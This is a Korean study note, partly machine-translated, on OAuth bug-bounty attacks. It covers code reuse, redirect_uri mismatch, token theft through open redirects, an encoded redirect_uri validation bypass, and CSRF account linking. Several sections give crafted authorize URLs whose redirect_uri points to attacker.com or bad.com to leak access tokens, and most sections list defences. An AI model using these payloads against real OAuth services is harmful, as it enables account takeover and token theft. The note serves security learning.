OAuth 버그바운티

OAuth 정리

OAuth Client : 취약한 사이트
OAuth Provider : 페북, 네이버, 카카오 등  
                 클라이언트로부터 Access Token을 주고 받은 후 
 사용자 정보를 Client에 제공하는 서비스 업체
scope= 클라이언트와 프로바이더와 협의된 제공하는 정보 범위를 말하는
       것 같음

#10 The Postman Always Rings Twice
1. 클라이언트가 인증코드를 두번이상 사용가능한지?
인증코드가 두번이상 사용될 경우, 인증서버는 클라이언트에서 인증코드 기반으로 발행된 모든 토큰은 거부하도록 구현되야한다.

How to exploit?

한 리소스 소유자 RO1이 라이브러리 / 공항의 사이트 A에 액세스하고 (사이트 A가 인증 코드 부여를 사용하는 것과 마찬가지로) 인증 서버 (예 : Facebook)에 대한 로그인을 의미합니다. 그 결과 인증 코드는 브라우저 기록에 유지됩니다.

RO1이 끝나면 사이트 A와 Facebook에서 거의 로그 아웃하지만 브라우저 기록을 정리하지는 않을 것입니다.

이 단계에서 사이트 A를 사용하는 사악한 리소스 소유자 RO2는 자신의 자격 증명으로 Facebook에 로그인하지만 브라우저 기록에 저장된 인증 코드 RO1으로 사이트 A 로의 리디렉션을 변조합니다.

RO2가 Facebook에 로그인되어 있음에도 불구하고 자신의 자격 증명으로 RO1의 리소스를 다시 사용할 수있게됩니다.

Plus) 구글에서 토큰1.토큰2: 토큰1만 유효성 체크하여 
      토큰2에 특수문자 입력하여 에러 출력시킨 사례




#9 Match Point
"redirect_uri"매개 변수가 초기 권한 부여 요청에 포함되어 있고 포함 된 경우 해당 값이 동일한 지 확인하십시오.
Should you fail to do it, this in combination with Lassie Come Home below is game over 



#8 Open redirect in rfc6749 

Then the attacker can craft a special URI of the form

How to exploit: 오픈 리다이레트를 이용해 AccessToken을 훔칠 수 있다.

http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com

victim.com 제공자에게 새로운 클라이언트를 등록합니다.
attack.com과 같은 리디렉션 URI를 등록합니다.

예시
Facebook: https://graph.facebook.com/oauth/authorize?response_type=code&client_id=1621835668046481&redirect_uri=http://www.attacker.com/&scope=WRONG_SCOPE
Github: https://github.com/login/oauth/authorize?response_type=code&redirect_uri=http://attacker.com2&client_id=e2ddb90328315c367b11
Microsoft: https://login.live.com/oauth20_authorize.srf?response_type=code&redirect_uri=http://attacker.com&client_id=000000004C12822C


'The Devil Wears Prada' and 'Lassie Come Home'.
악마는 프라다를 입는다.
1. 제1클라 서버, 또다른 제2 클라서버(공격자용)
- 핵심은 페북으로 받는 Access Token.
- 제1 클라서버는 Access Token을 가지고 페북에 프로필 정보를 요청할 
  수 있는 서비스 업체.
- 제2 클라서버는 합법적으로 사용자 히스토리만 제공받을 수 있는 상태.

1. 제2클라서버가 사용자에게 AccessToken을 요청함
2. 사용자는 페북에 로그인 후 AccessToken을 받는다.
3. 제2클라서버는 AcessToken을 제1 클라서버에게 주면서 
   본래 목적 범위 이상 권한인 사용자 프로필 정보를 요청할 수 있다.
   
이 취약점은 제1클라서버가 AccessToken을 제공하는 객체의 신원을
파악하지 않는 것을 이용하 취약점이다. 즉, 페북이 넘겨주는 
AccessToken만으로 안전하다고 판단한 것이 문제.

이 취약점의 해결방법은 여러가지 있다고 하는데
베스트는 OpenID Connect를 사용하는 것이라고 한다.


Lassie Come Home
레시(개)는 집에온다. =>장사로 팔린 개가 먼길을 걸어 집에 돌아오는 책 내용

redirect_uri의 서브도메인, 호스트를 정확하게 일치하지 않는 다는점을
악용하여 엑세스 토큰을 훔칠 수 있는 취약점이다.

exploit
https://www.thecloudcompany.biz%2Foauth%2Fauthorize%3Fclient_id=Bad%26response_type=token%26redirect_uri=http://www.bad.com 


1.원본
https://www.thecloudcompany.biz/oauth/authrize?client_id=example&response_type=token&redirect_uri=https://www.example.thecloudcompany.biz

2.redirect_uri에 한번더 아래 경로 전체를 대입하면 validation을 우회함, 아래 URL이 리다이렉트 되면서 토큰을 유출 시킬수 있음https://www.thecloudcompany.biz%2Foauth%2Fauthorize%3Fclient_id=Bad%26response_type=token%26redirect_uri=http://www.bad.com 

방어법:
1. Respond with an HTTP 400 (Bad Request) status code. 
2. Perform a redirect to an intermediate URI under the control of the Authorization Server to clear referer information 
Authorization Server의 제어하에 중간 URI로 경로 재 지정을 수행하여 참조 자 정보를 지우십시오.




#7 Native apps - Which OAuth flow ?

간단히 말해서
- 기본 애플리케이션은 암시 적 플로우를 사용하지 않는 것이 좋습니다.
-기본 등록 클라이언트는 동적 등록 사례 (RFC 7591)와 같이 런타임에 
구성되지 않으면 client_secret을 보호 할 수 없습니다.

=>요건 너무 특수한 케이스라 패스


#6 Cross-site request forgery for OAuth Clients
  
Condition for the hack: login with OAuth Provider + ability to add OAuth Provider logins in settings


response_type = code는 서버 측 인증 흐름이므로 가능한 경우 response_type = token보다 더 안전해야합니다.

공급자는 사용자의 사용자 에이전트와 함께 '코드'를 반환하고 클라이언트는 클라이언트의 자격 증명과 함께 코드를 보내 'access_token'을 얻습니다.

사용자가 리디렉션 될 때의 콜백은 다음과 같습니다.
site.com/oauth/callback?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI

OAuth는 인증이 아니라 인증에 관한 것입니다. 차이점은 무엇입니까?

OAuth는 고객에게 제공자의 사용자 리소스에 대한 액세스 권한을 부여합니다.
그러나 종종 고객은 'profile_info'리소스로 사용자를 인증하므로 인증 프레임 워크라고도합니다.

해킹 조건 : OAuth 공급자로 로그인 + 설정에서 OAuth 공급자 로그인  추가 기능이 존재해야함 (Login with facebook, login with twitter 등을 말함)

1. 해킹조건에 만족하는 사이트를 찾는다. 
2. 공격자는 Add Oauth Provider login 클릭한다.
- 이 전에 전제조건이 또 있는거 같은데..
2.1 사전에 provider 로그인이 되있는 상태에서 대상사이트(site.com)에 Oauth 로그인 추가
2.2 기본 로그인이 된 상태에서 + 대상사이트(site.com)에 Oauth 로그인 추가 이렇게 나눠질거 같다.

3. 공급자로부터 콜백을 받을 때, 콜백을 바로 방문하지 말 것.
- 모던 브라우저는 자동으로 리다리렉트 시키므로 no redirect extension 사용을 추천함

Do not visit the last URL(http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI#_=_)

5. 위에 리다이렉트 되는 URL을 방문하지말고 갖고 있도록한다.
   추후에 

   
6. 이제 필요한 것은 pinterest를 이용하는 victim이 위 콜백 요청을 
   보내도록 만들어야 한다.

7. victim이 당신의 iframe 또는 img를 통한 URL을 방문했을 때,
   당신의 Oauth 계정이 victim의 사용자 계정과 연결될 것이다.
   
방어법: Optional인 state파라미터를 구현하여 random 해쉬 값을 검사한다.

   


#5 Cross-site request forgery for Authorization Servers

@asanso는 이전에 승인 된 OAuth 응용 프로그램이 ORF 토큰과 관련된 범위를 CSRF를 통해 제거 할 수있는 취약점을보고했습니다. OAuth 애플리케이션이 승인되기 전에 사용자는 OAuth 애플리케이션이 요청하는 범위를 확인해야합니다. 권한이 부여되면 동일한 요청 범위를 포함하는 향후 OAuth 플로우가 자동으로 유효성 검증되고 사용자가 OAuth 애플리케이션으로 경로 재 지정됩니다. OAuth 응용 프로그램이 추가 범위를 요청하는 경우 해당 범위도 인증해야합니다.

@asanso는 더 적은 범위를 요청하는 OAuth 플로우를 시작하면 사용자가 이러한 범위 제거를 승인 할 필요가 없다는 것을 관찰했습니다. 결과적으로 공격자는 인증 된 사용자의 OAuth 흐름을 CSRF하고 이전에 인증 된 응용 프로그램과 관련된 OAuth 토큰에서 범위를 자동으로 제거 할 수 있습니다. OAuth 응용 프로그램이 제거 된 범위에 의존하는 경우 기능이 중단 될 수 있습니다. 인증 된 OAuth 응용 프로그램의 범위 변경을 사용자가 확인하도록하여이 문제를 해결했습니다.


#이외 나머지는 중복~ 해석필요 없었음